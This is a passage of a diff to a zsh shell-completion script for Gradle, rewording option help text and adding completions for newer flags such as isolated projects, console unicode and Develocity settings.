                '-Dorg.gradle.caching.debug=[]' \
                '-Dorg.gradle.caching=[Enables the Gradle build cache. Gradle will try to reuse outputs from previous builds.]:org.gradle.caching:(true false)' \
                '-Dorg.gradle.configuration-cache.entries-per-key=[]' \
@@ -260,24 +264,29 @@ __gradle_subcommand() {
                '-Dorg.gradle.configuration-cache.integrity-check=[]' \
                '-Dorg.gradle.configuration-cache.max-problems=[]' \
                '-Dorg.gradle.configuration-cache.parallel=[]' \
-                '-Dorg.gradle.configuration-cache.problems=[Configures how the configuration cache handles problems (fail or warn). Defaults to fail.]:org.gradle.configuration cache.problems:(fail warn)' \
+                '-Dorg.gradle.configuration-cache.problems=[Configures how the configuration cache handles problems (fail or warn). Supported values are 'warn', or 'fail' (default).]:org.gradle.configuration cache.problems:(fail warn)' \
                '-Dorg.gradle.configuration-cache.read-only=[]' \
                '-Dorg.gradle.configuration-cache.unsafe.ignore.unsupported-build-events-listeners=[]' \
                '-Dorg.gradle.configuration-cache=[Enables the configuration cache. Gradle will try to reuse the build configuration from previous builds.]' \
-                '-Dorg.gradle.configureondemand=[Configure necessary projects only. Gradle will attempt to reduce configuration time for large multi-project builds.]' \
-                '-Dorg.gradle.console=[Specifies which type of console output to generate. Values are 'plain', 'colored', 'auto' (default), 'rich' or 'verbose'.]:org.gradle.console:(plain auto rich verbose)' \
-                '-Dorg.gradle.continue=[Continue task execution after a task failure.]' \
+                '-Dorg.gradle.configureondemand=[Configures necessary projects only. Gradle will attempt to reduce configuration time for large multi-project builds.]' \
+                '-Dorg.gradle.console.interactive=[]' \
+                '-Dorg.gradle.console.unicode=[Specifies which character types are allowed in the console output. Supported values are 'auto' (default), 'disable', or 'enable'.]' \
+                '-Dorg.gradle.console=[Specifies which type of console output to generate. Supported values are 'plain', 'colored', 'auto' (default), 'rich', or 'verbose'.]:org.gradle.console:(plain auto rich verbose)' \
+                '-Dorg.gradle.continue=[Continues task execution after a task failure.]' \
                '-Dorg.gradle.continuous.quietperiod=[]' \
                '-Dorg.gradle.daemon.healthcheckinterval=[]' \
                '-Dorg.gradle.daemon.idletimeout=[]' \
                '-Dorg.gradle.daemon.registry.base=[]:org.gradle.daemon.registry.base:_directories' \
-                '-Dorg.gradle.daemon=[Uses the Gradle daemon to run the build. Starts the daemon if not running.]' \
+                '-Dorg.gradle.daemon=[Uses the Gradle daemon to run the build. Starts the daemon if it is not running.]' \
                '-Dorg.gradle.debug.host=[]' \
                '-Dorg.gradle.debug.port=[]' \
                '-Dorg.gradle.debug.server=[]' \
                '-Dorg.gradle.debug.suspend=[]' \
                '-Dorg.gradle.debug=[]:org.gradle.debug:(true false)' \
-                '-Dorg.gradle.dependency.verification=[Configures the dependency verification mode. Values are 'strict', 'lenient' or 'off'.]:org.gradle.dependency.verification:(strict lenient off)' \
+                '-Dorg.gradle.dependency.verification=[Configures the dependency verification mode. Supported values are 'strict', 'lenient', or 'off'.]:org.gradle.dependency.verification:(strict lenient off)' \
+                '-Dorg.gradle.isolated-projects.dangerously-ignore-problems=[]' \
+                '-Dorg.gradle.isolated-projects.diagnostics=[]' \
+                '-Dorg.gradle.isolated-projects=[Enables Isolated Projects. Projects are configured in parallel. Implies `--configuration-cache`.]' \
                '-Dorg.gradle.java.home=[]:org.gradle.java.home:_directories' \
                '-Dorg.gradle.java.installations.auto-detect=[]' \
                '-Dorg.gradle.java.installations.auto-download=[]' \
@@ -288,69 +297,75 @@ __gradle_subcommand() {
                '-Dorg.gradle.logging.level=[]:org.gradle.logging.level:(quiet warn info debug)' \
                '-Dorg.gradle.logging.stacktrace=[]' \
                '-Dorg.gradle.native=[]' \
-                '-Dorg.gradle.parallel=[Build projects in parallel. Gradle will attempt to determine the optimal number of executor threads to use.]:org.gradle.parallel:(true false)' \
-                '-Dorg.gradle.priority=[Specifies the scheduling priority for the Gradle daemon and all processes launched by it. Values are 'normal' (default) or 'low']:org.gradle.priority:(normal low)' \
-                '-Dorg.gradle.problems.report=[(Experimental) enables HTML problems report]' \
-                '-Dorg.gradle.projectcachedir=[Specify the project-specific cache directory. Defaults to .gradle in the root project directory.]:org.gradle.projectcachedir:_directories' \
-                '-Dorg.gradle.unsafe.isolated-projects=[]' \
+                '-Dorg.gradle.parallel=[Builds projects in parallel. Gradle will attempt to determine the optimal number of executor threads to use.]:org.gradle.parallel:(true false)' \
+                '-Dorg.gradle.priority=[Specifies the scheduling priority for the Gradle daemon and all processes launched by it. Supported values are 'normal' (default) or 'low'.]:org.gradle.priority:(normal low)' \
+                '-Dorg.gradle.problems.report=[Enables the HTML problems report.]' \
+                '-Dorg.gradle.projectcachedir=[Specifies the project-specific cache directory. Default is .gradle in the root project directory.]:org.gradle.projectcachedir:_directories' \
+                '-Dorg.gradle.tooling.parallel=[]' \
                '-Dorg.gradle.vfs.verbose=[]' \
-                '-Dorg.gradle.vfs.watch=[Enables watching the file system for changes, allowing data about the file system to be re-used for the next build.]:org.gradle.vfs.watch:(true false)' \
-                '-Dorg.gradle.warning.mode=[Specifies which mode of warnings to generate. Values are 'all', 'fail', 'summary'(default) or 'none']' \
+                '-Dorg.gradle.vfs.watch=[Enables file system watching. Reuses file system data for subsequent builds.]:org.gradle.vfs.watch:(true false)' \
+                '-Dorg.gradle.warning.mode=[Specifies which mode of warnings to generate. Supported values are 'all', 'fail', 'summary' (default), or 'none'.]' \
                '-Dorg.gradle.welcome=[]:org.gradle.welcome:(once never)' \
-                '-Dorg.gradle.workers.max=[Configure the number of concurrent workers Gradle is allowed to use.]' \
+                '-Dorg.gradle.workers.max=[Configures the maximum number of concurrent workers Gradle is allowed to use.]' \
                (--no-build-cache)'--build-cache[Enables the Gradle build cache. Gradle will try to reuse outputs from previous builds.]' \
                (--no-configuration-cache)'--configuration-cache[Enables the configuration cache. Gradle will try to reuse the build configuration from previous builds.]' \
-                '--configuration-cache-problems[Configures how the configuration cache handles problems (fail or warn). Defaults to fail.]:configuration cache problems:(fail warn)' \
-                (--no-configure-on-demand)'--configure-on-demand[Configure necessary projects only. Gradle will attempt to reduce configuration time for large multi-project builds. (incubating)]' \
-                '--console[Specifies which type of console output to generate. Values are 'plain', 'colored', 'auto' (default), 'rich' or 'verbose'.]:console:(plain auto rich verbose)' \
-                (--no-continue)'--continue[Continue task execution after a task failure.]' \
+                '--configuration-cache-problems[Configures how the configuration cache handles problems (fail or warn). Supported values are 'warn', or 'fail' (default).]:configuration cache problems:(fail warn)' \
+                (--no-configure-on-demand)'--configure-on-demand[Configures necessary projects only. Gradle will attempt to reduce configuration time for large multi-project builds. (incubating)]' \
+                '--console[Specifies which type of console output to generate. Supported values are 'plain', 'colored', 'auto' (default), 'rich', or 'verbose'.]:console:(plain auto rich verbose)' \
+                '--console-unicode[Specifies which character types are allowed in the console output. Supported values are 'auto' (default), 'disable', or 'enable'.]' \
+                (--no-continue)'--continue[Continues task execution after a task failure.]' \
                {-t,--continuous}'[Enables continuous build. Gradle does not exit and will re-execute tasks when task file inputs change.]' \
-                (--no-daemon)'--daemon[Uses the Gradle daemon to run the build. Starts the daemon if not running.]' \
-                (--quiet,-q,--warn,-w,--info,-i){-d,--debug}'[Log in debug mode (includes normal stacktrace).]' \
-                {-F,--dependency-verification}'[Configures the dependency verification mode. Values are 'strict', 'lenient' or 'off'.]:dependency verification:(strict lenient off)' \
-                {-m,--dry-run}'[Run the builds with all task actions disabled.]' \
-                \*{-x,--exclude-task}'[Specify a task to be excluded from execution.]' \
+                (--no-daemon)'--daemon[Uses the Gradle daemon to run the build. Starts the daemon if it is not running.]' \
+                (--quiet,-q,--warn,-w,--info,-i){-d,--debug}'[Sets log level to debug. Includes the normal stacktrace.]' \
+                {-F,--dependency-verification}'[Configures the dependency verification mode. Supported values are 'strict', 'lenient', or 'off'.]:dependency verification:(strict lenient off)' \
+                '--develocity-plugin-version[Version of the Develocity plugin to auto-apply, must be 4.4.0 or higher if Develocity URL is specified as well.]' \
+                '--develocity-url[Default URL of the Develocity server to publish Build Scan to. Triggers auto-application of the Develocity plugin if not already applied.]' \
+                {-m,--dry-run}'[Runs the build with all task actions disabled.]' \
+                \*{-x,--exclude-task}'[Specifies a task to exclude from execution.]' \
                '--export-keys[Exports the public keys used for dependency verification.]' \
                '--foreground[Starts the Gradle daemon in the foreground.]' \
-                (--stacktrace,-s){-S,--full-stacktrace}'[Print out the full (very verbose) stacktrace for all exceptions.]' \
-                {-g,--gradle-user-home}'[Specifies the Gradle user home directory. Defaults to ~/.gradle]:gradle user home:_directories' \
-                \*'--include-build[Include the specified build in the composite.]:include build:_directories' \
-                (--quiet,-q,--warn,-w,--debug,-d){-i,--info}'[Set log level to info.]' \
-                \*{-I,--init-script}'[Specify an initialization script.]:init script:_files -g \*.gradle(|.kts)' \
-                '--max-workers[Configure the number of concurrent workers Gradle is allowed to use.]' \
+                (--stacktrace,-s){-S,--full-stacktrace}'[Prints the full (very verbose) stacktrace for all exceptions.]' \
+                {-g,--gradle-user-home}'[Specifies the Gradle user home directory. Default is ~/.gradle.]:gradle user home:_directories' \
+                \*'--include-build[Includes the specified build in the composite.]:include build:_directories' \
+                (--quiet,-q,--warn,-w,--debug,-d){-i,--info}'[Sets the log level to info.]' \
+                \*{-I,--init-script}'[Specifies an initialization script.]:init script:_files -g \*.gradle(|.kts)' \
+                (--no-isolated-projects)'--isolated-projects[Enables Isolated Projects. Projects are configured in parallel. Implies `--configuration-cache`. (incubating)]' \
+                '--max-workers[Configures the maximum number of concurrent workers Gradle is allowed to use.]' \
                (--build-cache)'--no-build-cache[Disables the Gradle build cache.]' \
                (--configuration-cache)'--no-configuration-cache[Disables the configuration cache.]' \
                (--configure-on-demand)'--no-configure-on-demand[Disables the use of configuration on demand. (incubating)]' \
-                (--continue)'--no-continue[Stop task execution after a task failure.]' \
-                (--daemon)'--no-daemon[Do not use the Gradle daemon to run the build. Useful occasionally if you have configured Gradle to always run with the daemon by default.]' \
-                (--parallel)'--no-parallel[Disables parallel execution to build projects.]' \
-                (--problems-report)'--no-problems-report[(Experimental) disables HTML problems report]' \
-                {-a,--no-rebuild}'[Do not rebuild project dependencies.]' \
+                (--continue)'--no-continue[Stops task execution after a task failure.]' \
+                (--daemon)'--no-daemon[Runs the build without the Gradle daemon. Useful occasionally if you have configured Gradle to always run with the daemon by default.]' \
+                (--isolated-projects)'--no-isolated-projects[Disables Isolated Projects. (incubating)]' \
+                (--parallel)'--no-parallel[Disables parallel project execution.]' \
+                (--problems-report)'--no-problems-report[Disables the HTML problems report. (incubating)]' \
+                {-a,--no-rebuild}'[Disables rebuilding of project dependencies.]' \
                (--scan)'--no-scan[Disables the creation of a Build Scan.]' \
-                (--watch-fs)'--no-watch-fs[Disables watching the file system.]' \
-                '--offline[Execute the build without accessing network resources.]' \
-                (--no-parallel)'--parallel[Build projects in parallel. Gradle will attempt to determine the optimal number of executor threads to use.]' \
-                '--priority[Specifies the scheduling priority for the Gradle daemon and all processes launched by it. Values are 'normal' (default) or 'low']' \
-                (--no-problems-report)'--problems-report[(Experimental) enables HTML problems report]' \
-                '--profile[Profile build execution time and generates a report in the <build_dir>/reports/profile directory.]' \
-                '--project-cache-dir[Specify the project-specific cache directory. Defaults to .gradle in the root project directory.]:project cache dir:_directories' \
-                {-p,--project-dir}'[Specifies the start directory for Gradle. Defaults to current directory.]:project dir:_directories' \
-                '--property-upgrade-report[(Experimental) Runs build with experimental property upgrade report.]' \
-                (--warn,-w,--info,-i,--debug,-d){-q,--quiet}'[Log errors only.]' \
-                {-U,--refresh-dependencies}'[Refresh the state of dependencies.]' \
-                '--refresh-keys[Refresh the public keys used for dependency verification.]' \
+                (--watch-fs)'--no-watch-fs[Disables file system watching.]' \
+                '--non-interactive[Do not do interactive prompting. (incubating)]' \
+                '--offline[Runs the build without accessing network resources.]' \
+                (--no-parallel)'--parallel[Builds projects in parallel. Gradle will attempt to determine the optimal number of executor threads to use.]' \
+                '--priority[Specifies the scheduling priority for the Gradle daemon and all processes launched by it. Supported values are 'normal' (default) or 'low'.]' \
+                (--no-problems-report)'--problems-report[Enables the HTML problems report. (incubating)]' \
+                '--profile[Profiles build execution time. Generates a report in the <build_dir>/reports/profile directory.]' \
+                '--project-cache-dir[Specifies the project-specific cache directory. Default is .gradle in the root project directory.]:project cache dir:_directories' \
+                {-p,--project-dir}'[Specifies the start directory for Gradle. Default is the current directory.]:project dir:_directories' \
+                '--property-upgrade-report[Runs the build with the experimental property upgrade report. (incubating)]' \
+                (--warn,-w,--info,-i,--debug,-d){-q,--quiet}'[Logs errors only.]' \
+                {-U,--refresh-dependencies}'[Refreshes the state of dependencies.]' \
+                '--refresh-keys[Refreshes the public keys used for dependency verification.]' \
                '--rerun[Causes the task to be re-run even if up-to-date.]' \
-                '--rerun-tasks[Ignore previously cached task results.]' \
-                (--no-scan)'--scan[Generate a Build Scan (powered by Develocity).]' \
+                '--rerun-tasks[Ignores previously cached task results.]' \
+                (--no-scan)'--scan[Generates a Build Scan (powered by Develocity).]' \
                {-V,--show-version}'[Print version info and continue.]' \
-                (--full-stacktrace,-S){-s,--stacktrace}'[Print out the stacktrace for all exceptions.]' \
-                '--task-graph[(Experimental) Print task graph instead of executing tasks.]' \
-                \*'--update-locks[Perform a partial update of the dependency lock, letting passed in module notations change version. (incubating)]' \
-                (--quiet,-q,--info,-i,--debug,-d){-w,--warn}'[Set log level to warn.]' \
-                '--warning-mode[Specifies which mode of warnings to generate. Values are 'all', 'fail', 'summary'(default) or 'none']:warning mode:(all summary none)' \
-                (--no-watch-fs)'--watch-fs[Enables watching the file system for changes, allowing data about the file system to be re-used for the next build.]' \
-                '--write-locks[Persists dependency resolution for locked configurations, ignoring existing locking information if it exists]' \
-                {-M,--write-verification-metadata}'[Generates checksums for dependencies used in the project (comma-separated list)]' && ret=0
+                (--full-stacktrace,-S){-s,--stacktrace}'[Prints the stacktrace for all exceptions.]' \
+                '--task-graph[Prints the task graph instead of executing tasks.]' \
+                \*'--update-locks[Performs a partial update of the dependency lock. Allows passed-in module notations to change version. (incubating)]' \
+                (--quiet,-q,--info,-i,--debug,-d){-w,--warn}'[Sets the log level to warn.]' \
+                '--warning-mode[Specifies which mode of warnings to generate. Supported values are 'all', 'fail', 'summary' (default), or 'none'.]:warning mode:(all summary none)' \
+                (--no-watch-fs)'--watch-fs[Enables file system watching. Reuses file system data for subsequent builds.]' \
+                '--write-locks[Persists dependency resolution for locked configurations. Ignores existing locking information if it exists.]' \
+                {-M,--write-verification-metadata}'[Generates checksums for dependencies used in the project. Accepts a comma-separated list.]' && ret=0
            ;;
    esac

@@ -376,7 +391,9 @@ _gradle() {
    typeset -A opt_args

    _arguments -C \
-'-Dgradle.user.home=[Specifies the Gradle user home directory. Defaults to ~/.gradle]:gradle.user.home:_directories:->argument-expected' \
+'-Dcom.gradle.develocity.plugin.version=[Version of the Develocity plugin to auto-apply, must be 4.4.0 or higher if Develocity URL is specified as well.]:->argument-expected' \
+        '-Dcom.gradle.develocity.url=[Default URL of the Develocity server to publish Build Scan to. Triggers auto-application of the Develocity plugin if not already applied.]:->argument-expected' \
+        '-Dgradle.user.home=[Specifies the Gradle user home directory. Default is ~/.gradle.]:gradle.user.home:_directories:->argument-expected' \
        '-Dorg.gradle.caching.debug=[]:->argument-expected' \
        '-Dorg.gradle.caching=[Enables the Gradle build cache. Gradle will try to reuse outputs from previous builds.]:org.gradle.caching:(true false):->argument-expected' \
        '-Dorg.gradle.configuration-cache.entries-per-key=[]:->argument-expected' \
@@ -387,24 +404,29 @@ _gradle() {
        '-Dorg.gradle.configuration-cache.integrity-check=[]:->argument-expected' \
        '-Dorg.gradle.configuration-cache.max-problems=[]:->argument-expected' \
        '-Dorg.gradle.configuration-cache.parallel=[]:->argument-expected' \
-        '-Dorg.gradle.configuration-cache.problems=[Configures how the configuration cache handles problems (fail or warn). Defaults to fail.]:org.gradle.configuration cache.problems:(fail warn):->argument-expected' \
+        '-Dorg.gradle.configuration-cache.problems=[Configures how the configuration cache handles problems (fail or warn). Supported values are 'warn', or 'fail' (default).]:org.gradle.configuration cache.problems:(fail warn):->argument-expected' \
        '-Dorg.gradle.configuration-cache.read-only=[]:->argument-expected' \
        '-Dorg.gradle.configuration-cache.unsafe.ignore.unsupported-build-events-listeners=[]:->argument-expected' \
        '-Dorg.gradle.configuration-cache=[Enables the configuration cache. Gradle will try to reuse the build configuration from previous builds.]:->argument-expected' \
-        '-Dorg.gradle.configureondemand=[Configure necessary projects only. Gradle will attempt to reduce configuration time for large multi-project builds.]:->argument-expected' \
-        '-Dorg.gradle.console=[Specifies which type of console output to generate. Values are 'plain', 'colored', 'auto' (default), 'rich' or 'verbose'.]:org.gradle.console:(plain auto rich verbose):->argument-expected' \
-        '-Dorg.gradle.continue=[Continue task execution after a task failure.]:->argument-expected' \
+        '-Dorg.gradle.configureondemand=[Configures necessary projects only. Gradle will attempt to reduce configuration time for large multi-project builds.]:->argument-expected' \
+        '-Dorg.gradle.console.interactive=[]:->argument-expected' \
+        '-Dorg.gradle.console.unicode=[Specifies which character types are allowed in the console output. Supported values are 'auto' (default), 'disable', or 'enable'.]:->argument-expected' \
+        '-Dorg.gradle.console=[Specifies which type of console output to generate. Supported values are 'plain', 'colored', 'auto' (default), 'rich', or 'verbose'.]:org.gradle.console:(plain auto rich verbose):->argument-expected' \
+        '-Dorg.gradle.continue=[Continues task execution after a task failure.]:->argument-expected' \
        '-Dorg.gradle.continuous.quietperiod=[]:->argument-expected' \
        '-Dorg.gradle.daemon.healthcheckinterval=[]:->argument-expected' \
        '-Dorg.gradle.daemon.idletimeout=[]:->argument-expected' \
        '-Dorg.gradle.daemon.registry.base=[]:org.gradle.daemon.registry.base:_directories:->argument-expected' \
-        '-Dorg.gradle.daemon=[Uses the Gradle daemon to run the build. Starts the daemon if not running.]:->argument-expected' \
+        '-Dorg.gradle.daemon=[Uses the Gradle daemon to run the build. Starts the daemon if it is not running.]:->argument-expected' \
        '-Dorg.gradle.debug.host=[]:->argument-expected' \
        '-Dorg.gradle.debug.port=[]:->argument-expected' \
        '-Dorg.gradle.debug.server=[]:->argument-expected' \
        '-Dorg.gradle.debug.suspend=[]:->argument-expected' \
        '-Dorg.gradle.debug=[]:org.gradle.debug:(true false):->argument-expected' \
-        '-Dorg.gradle.dependency.verification=[Configures the dependency verification mode. Values are 'strict', 'lenient' or 'off'.]:org.gradle.dependency.verification:(strict lenient off):->argument-expected' \
+        '-Dorg.gradle.dependency.verification=[Configures the dependency verification mode. Supported values are 'strict', 'lenient', or 'off'.]:org.gradle.dependency.verification:(strict lenient off):->argument-expected' \
+        '-Dorg.gradle.isolated-projects.dangerously-ignore-problems=[]:->argument-expected' \
+        '-Dorg.gradle.isolated-projects.diagnostics=[]:->argument-expected' \
+        '-Dorg.gradle.isolated-projects=[Enables Isolated Projects. Projects are configured in parallel. Implies `--configuration-cache`.]:->argument-expected' \
        '-Dorg.gradle.java.home=[]:org.gradle.java.home:_directories:->argument-expected' \
        '-Dorg.gradle.java.installations.auto-detect=[]:->argument-expected' \
        '-Dorg.gradle.java.installations.auto-download=[]:->argument-expected' \
@@ -415,73 +437,79 @@ _gradle() {
        '-Dorg.gradle.logging.level=[]:org.gradle.logging.level:(quiet warn info debug):->argument-expected' \
        '-Dorg.gradle.logging.stacktrace=[]:->argument-expected' \
        '-Dorg.gradle.native=[]:->argument-expected' \
-        '-Dorg.gradle.parallel=[Build projects in parallel. Gradle will attempt to determine the optimal number of executor threads to use.]:org.gradle.parallel:(true false):->argument-expected' \
-        '-Dorg.gradle.priority=[Specifies the scheduling priority for the Gradle daemon and all processes launched by it. Values are 'normal' (default) or 'low']:org.gradle.priority:(normal low):->argument-expected' \
-        '-Dorg.gradle.problems.report=[(Experimental) enables HTML problems report]:->argument-expected' \
-        '-Dorg.gradle.projectcachedir=[Specify the project-specific cache directory. Defaults to .gradle in the root project directory.]:org.gradle.projectcachedir:_directories:->argument-expected' \
-        '-Dorg.gradle.unsafe.isolated-projects=[]:->argument-expected' \
+        '-Dorg.gradle.parallel=[Builds projects in parallel. Gradle will attempt to determine the optimal number of executor threads to use.]:org.gradle.parallel:(true false):->argument-expected' \
+        '-Dorg.gradle.priority=[Specifies the scheduling priority for the Gradle daemon and all processes launched by it. Supported values are 'normal' (default) or 'low'.]:org.gradle.priority:(normal low):->argument-expected' \
+        '-Dorg.gradle.problems.report=[Enables the HTML problems report.]:->argument-expected' \
+        '-Dorg.gradle.projectcachedir=[Specifies the project-specific cache directory. Default is .gradle in the root project directory.]:org.gradle.projectcachedir:_directories:->argument-expected' \
+        '-Dorg.gradle.tooling.parallel=[]:->argument-expected' \
        '-Dorg.gradle.vfs.verbose=[]:->argument-expected' \
-        '-Dorg.gradle.vfs.watch=[Enables watching the file system for changes, allowing data about the file system to be re-used for the next build.]:org.gradle.vfs.watch:(true false):->argument-expected' \
-        '-Dorg.gradle.warning.mode=[Specifies which mode of warnings to generate. Values are 'all', 'fail', 'summary'(default) or 'none']:->argument-expected' \
+        '-Dorg.gradle.vfs.watch=[Enables file system watching. Reuses file system data for subsequent builds.]:org.gradle.vfs.watch:(true false):->argument-expected' \
+        '-Dorg.gradle.warning.mode=[Specifies which mode of warnings to generate. Supported values are 'all', 'fail', 'summary' (default), or 'none'.]:->argument-expected' \
        '-Dorg.gradle.welcome=[]:org.gradle.welcome:(once never):->argument-expected' \
-        '-Dorg.gradle.workers.max=[Configure the number of concurrent workers Gradle is allowed to use.]:->argument-expected' \
+        '-Dorg.gradle.workers.max=[Configures the maximum number of concurrent workers Gradle is allowed to use.]:->argument-expected' \
        (--no-build-cache)'--build-cache[Enables the Gradle build cache. Gradle will try to reuse outputs from previous builds.]' \
        (--no-configuration-cache)'--configuration-cache[Enables the configuration cache. Gradle will try to reuse the build configuration from previous builds.]' \
-        '--configuration-cache-problems[Configures how the configuration cache handles problems (fail or warn). Defaults to fail.]:configuration cache problems:(fail warn):->argument-expected' \
-        (--no-configure-on-demand)'--configure-on-demand[Configure necessary projects only. Gradle will attempt to reduce configuration time for large multi-project builds. (incubating)]' \
-        '--console[Specifies which type of console output to generate. Values are 'plain', 'colored', 'auto' (default), 'rich' or 'verbose'.]:console:(plain auto rich verbose):->argument-expected' \
-        (--no-continue)'--continue[Continue task execution after a task failure.]' \
+        '--configuration-cache-problems[Configures how the configuration cache handles problems (fail or warn). Supported values are 'warn', or 'fail' (default).]:configuration cache problems:(fail warn):->argument-expected' \
+        (--no-configure-on-demand)'--configure-on-demand[Configures necessary projects only. Gradle will attempt to reduce configuration time for large multi-project builds. (incubating)]' \
+        '--console[Specifies which type of console output to generate. Supported values are 'plain', 'colored', 'auto' (default), 'rich', or 'verbose'.]:console:(plain auto rich verbose):->argument-expected' \
+        '--console-unicode[Specifies which character types are allowed in the console output. Supported values are 'auto' (default), 'disable', or 'enable'.]:->argument-expected' \
+        (--no-continue)'--continue[Continues task execution after a task failure.]' \
        {-t,--continuous}'[Enables continuous build. Gradle does not exit and will re-execute tasks when task file inputs change.]' \
-        (--no-daemon)'--daemon[Uses the Gradle daemon to run the build. Starts the daemon if not running.]' \
-        (--quiet,-q,--warn,-w,--info,-i){-d,--debug}'[Log in debug mode (includes normal stacktrace).]' \
-        {-F,--dependency-verification}'[Configures the dependency verification mode. Values are 'strict', 'lenient' or 'off'.]:dependency verification:(strict lenient off):->argument-expected' \
-        {-m,--dry-run}'[Run the builds with all task actions disabled.]' \
-        \*{-x,--exclude-task}'[Specify a task to be excluded from execution.]' \
+        (--no-daemon)'--daemon[Uses the Gradle daemon to run the build. Starts the daemon if it is not running.]' \
+        (--quiet,-q,--warn,-w,--info,-i){-d,--debug}'[Sets log level to debug. Includes the normal stacktrace.]' \
+        {-F,--dependency-verification}'[Configures the dependency verification mode. Supported values are 'strict', 'lenient', or 'off'.]:dependency verification:(strict lenient off):->argument-expected' \
+        '--develocity-plugin-version[Version of the Develocity plugin to auto-apply, must be 4.4.0 or higher if Develocity URL is specified as well.]:->argument-expected' \
+        '--develocity-url[Default URL of the Develocity server to publish Build Scan to. Triggers auto-application of the Develocity plugin if not already applied.]:->argument-expected' \
+        {-m,--dry-run}'[Runs the build with all task actions disabled.]' \
+        \*{-x,--exclude-task}'[Specifies a task to exclude from execution.]' \
        '--export-keys[Exports the public keys used for dependency verification.]' \
        '--foreground[Starts the Gradle daemon in the foreground.]' \
-        (--stacktrace,-s){-S,--full-stacktrace}'[Print out the full (very verbose) stacktrace for all exceptions.]' \
-        {-g,--gradle-user-home}'[Specifies the Gradle user home directory. Defaults to ~/.gradle]:gradle user home:_directories:->argument-expected' \
+        (--stacktrace,-s){-S,--full-stacktrace}'[Prints the full (very verbose) stacktrace for all exceptions.]' \
+        {-g,--gradle-user-home}'[Specifies the Gradle user home directory. Default is ~/.gradle.]:gradle user home:_directories:->argument-expected' \
        {-h,--help}'[Shows a help message.]' \
-        \*'--include-build[Include the specified build in the composite.]:include build:_directories:->argument-expected' \
-        (--quiet,-q,--warn,-w,--debug,-d){-i,--info}'[Set log level to info.]' \
-        \*{-I,--init-script}'[Specify an initialization script.]:init script:_files -g \*.gradle(|.kts):->argument-expected' \
-        '--max-workers[Configure the number of concurrent workers Gradle is allowed to use.]:->argument-expected' \
+        \*'--include-build[Includes the specified build in the composite.]:include build:_directories:->argument-expected' \
+        (--quiet,-q,--warn,-w,--debug,-d){-i,--info}'[Sets the log level to info.]' \
+        \*{-I,--init-script}'[Specifies an initialization script.]:init script:_files -g \*.gradle(|.kts):->argument-expected' \
+        (--no-isolated-projects)'--isolated-projects[Enables Isolated Projects. Projects are configured in parallel. Implies `--configuration-cache`. (incubating)]' \
+        '--max-workers[Configures the maximum number of concurrent workers Gradle is allowed to use.]:->argument-expected' \
        (--build-cache)'--no-build-cache[Disables the Gradle build cache.]' \
        (--configuration-cache)'--no-configuration-cache[Disables the configuration cache.]' \
        (--configure-on-demand)'--no-configure-on-demand[Disables the use of configuration on demand. (incubating)]' \
-        (--continue)'--no-continue[Stop task execution after a task failure.]' \
-        (--daemon)'--no-daemon[Do not use the Gradle daemon to run the build. Useful occasionally if you have configured Gradle to always run with the daemon by default.]' \
-        (--parallel)'--no-parallel[Disables parallel execution to build projects.]' \
-        (--problems-report)'--no-problems-report[(Experimental) disables HTML problems report]' \
-        {-a,--no-rebuild}'[Do not rebuild project dependencies.]' \
+        (--continue)'--no-continue[Stops task execution after a task failure.]' \
+        (--daemon)'--no-daemon[Runs the build without the Gradle daemon. Useful occasionally if you have configured Gradle to always run with the daemon by default.]' \
+        (--isolated-projects)'--no-isolated-projects[Disables Isolated Projects. (incubating)]' \
+        (--parallel)'--no-parallel[Disables parallel project execution.]' \
+        (--problems-report)'--no-problems-report[Disables the HTML problems report. (incubating)]' \
+        {-a,--no-rebuild}'[Disables rebuilding of project dependencies.]' \
        (--scan)'--no-scan[Disables the creation of a Build Scan.]' \
-        (--watch-fs)'--no-watch-fs[Disables watching the file system.]' \
-        '--offline[Execute the build without accessing network resources.]' \
-        (--no-parallel)'--parallel[Build projects in parallel. Gradle will attempt to determine the optimal number of executor threads to use.]' \
-        '--priority[Specifies the scheduling priority for the Gradle daemon and all processes launched by it. Values are 'normal' (default) or 'low']:->argument-expected' \
-        (--no-problems-report)'--problems-report[(Experimental) enables HTML problems report]' \
-        '--profile[Profile build execution time and generates a report in the <build_dir>/reports/profile directory.]' \
-        '--project-cache-dir[Specify the project-specific cache directory. Defaults to .gradle in the root project directory.]:project cache dir:_directories:->argument-expected' \
-        {-p,--project-dir}'[Specifies the start directory for Gradle. Defaults to current directory.]:project dir:_directories:->argument-expected' \
-        '--property-upgrade-report[(Experimental) Runs build with experimental property upgrade report.]' \
-        (--warn,-w,--info,-i,--debug,-d){-q,--quiet}'[Log errors only.]' \
-        {-U,--refresh-dependencies}'[Refresh the state of dependencies.]' \
-        '--refresh-keys[Refresh the public keys used for dependency verification.]' \
+        (--watch-fs)'--no-watch-fs[Disables file system watching.]' \
+        '--non-interactive[Do not do interactive prompting. (incubating)]' \
+        '--offline[Runs the build without accessing network resources.]' \
+        (--no-parallel)'--parallel[Builds projects in parallel. Gradle will attempt to determine the optimal number of executor threads to use.]' \
+        '--priority[Specifies the scheduling priority for the Gradle daemon and all processes launched by it. Supported values are 'normal' (default) or 'low'.]:->argument-expected' \
+        (--no-problems-report)'--problems-report[Enables the HTML problems report. (incubating)]' \
+        '--profile[Profiles build execution time. Generates a report in the <build_dir>/reports/profile directory.]' \
+        '--project-cache-dir[Specifies the project-specific cache directory. Default is .gradle in the root project directory.]:project cache dir:_directories:->argument-expected' \
+        {-p,--project-dir}'[Specifies the start directory for Gradle. Default is the current directory.]:project dir:_directories:->argument-expected' \
+        '--property-upgrade-report[Runs the build with the experimental property upgrade report. (incubating)]' \
+        (--warn,-w,--info,-i,--debug,-d){-q,--quiet}'[Logs errors only.]' \
+        {-U,--refresh-dependencies}'[Refreshes the state of dependencies.]' \
+        '--refresh-keys[Refreshes the public keys used for dependency verification.]' \
        '--rerun[Causes the task to be re-run even if up-to-date.]' \
-        '--rerun-tasks[Ignore previously cached task results.]' \
-        (--no-scan)'--scan[Generate a Build Scan (powered by Develocity).]' \
+        '--rerun-tasks[Ignores previously cached task results.]' \
+        (--no-scan)'--scan[Generates a Build Scan (powered by Develocity).]' \
        {-V,--show-version}'[Print version info and continue.]' \
-        (--full-stacktrace,-S){-s,--stacktrace}'[Print out the stacktrace for all exceptions.]' \
-        '--status[Shows status of running and recently stopped Gradle daemon(s).]' \
+        (--full-stacktrace,-S){-s,--stacktrace}'[Prints the stacktrace for all exceptions.]' \
+        '--status[Shows the status of running and recently stopped Gradle daemons.]' \
        '--stop[Stops the Gradle daemon if it is running.]' \
-        '--task-graph[(Experimental) Print task graph instead of executing tasks.]' \
